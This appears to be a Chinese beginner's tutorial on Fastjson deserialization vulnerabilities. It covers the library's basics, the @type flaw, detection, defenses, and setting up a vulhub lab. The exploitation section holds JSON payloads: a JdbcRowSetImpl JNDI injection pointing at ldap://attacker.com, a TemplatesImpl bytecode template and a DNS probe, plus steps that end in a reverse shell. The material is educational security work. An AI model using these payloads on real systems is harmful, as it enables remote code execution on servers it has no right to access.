完全零基础入门Fastjson系列漏洞(基础篇)
字数 1396 2025-08-19 12:41:22
完全零基础入门Fastjson系列漏洞(基础篇)教学文档
一、Fastjson简介
Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,可以将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。
主要特点:
- 速度快:号称最快的Java JSON解析库
- 使用简单:API简洁易用
- 功能强大:支持泛型、支持复杂对象
- 无依赖:不需要其他第三方库
二、Fastjson基本使用
1. 序列化(Java对象转JSON)
import com.alibaba.fastjson.JSON;
User user = new User("W01fh4cker", 25);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
// 输出: {"age":25,"name":"W01fh4cker"}
2. 反序列化(JSON转Java对象)
String jsonString = "{\"age\":25,\"name\":\"W01fh4cker\"}";
User user = JSON.parseObject(jsonString, User.class);
System.out.println(user.getName()); // 输出: W01fh4cker
三、Fastjson漏洞原理
Fastjson反序列化漏洞的核心在于其自动类型转换机制和@type特性。
关键点:
- Fastjson在反序列化时可以通过
@type指定反序列化的类 - 攻击者可以构造恶意的JSON字符串,指定特定的类进行实例化
- 某些类在实例化时会自动执行危险操作(如JNDI查询、RMI调用等)
四、Fastjson反序列化漏洞利用
1. 利用条件
- 目标使用Fastjson进行JSON反序列化
- 目标环境中存在可利用的gadget链
- Fastjson版本存在漏洞
2. 常见利用方式
JNDI注入利用
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
TemplatesImpl利用
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意字节码"],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}
五、Fastjson漏洞检测
1. 版本检测
- 直接查看pom.xml或gradle.build文件
- 使用
JSON.VERSION获取版本信息
2. DNS探测
构造特殊的JSON请求,观察是否有DNS查询:
{
"@type": "java.net.Inet4Address",
"val": "dnslog.cn"
}
六、Fastjson漏洞防御
1. 升级版本
- 升级到最新安全版本(目前最新安全版本为1.2.83+)
2. 安全配置
// 开启SafeMode(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或使用白名单
ParserConfig.getGlobalInstance().addAccept("com.yourpackage.");
3. 其他措施
- 关闭Fastjson的autotype功能
- 使用Jackson或Gson等更安全的JSON库
七、Fastjson漏洞历史
- Fastjson <= 1.2.24 反序列化漏洞
- Fastjson <= 1.2.47 远程代码执行漏洞
- Fastjson <= 1.2.62 拒绝服务漏洞
- Fastjson <= 1.2.66 反序列化漏洞
- Fastjson <= 1.2.80 反序列化漏洞
八、实验环境搭建
建议使用vulhub快速搭建测试环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
九、漏洞复现步骤
- 准备恶意RMI/LDAP服务
- 编译恶意Java类并托管
- 构造恶意JSON请求
- 发送请求触发漏洞
- 获取反弹shell或执行命令
十、相关工具
- marshalsec - 快速启动恶意的RMI/LDAP服务
- JNDI-Injection-Exploit - JNDI注入利用工具
- fastjson-blacklist - Fastjson黑名单检测工具
十一、深入学习资源
- 官方文档: https://github.com/alibaba/fastjson/wiki
- 漏洞分析: https://paper.seebug.org/1192/
- 开源项目: https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Basic
十二、总结
Fastjson漏洞的核心在于不安全的反序列化机制,通过@type特性可以指定任意类进行实例化。防御的关键在于限制反序列化的类范围,或升级到已修复的安全版本。对于安全研究人员,理解Fastjson的工作原理和漏洞利用链是至关重要的。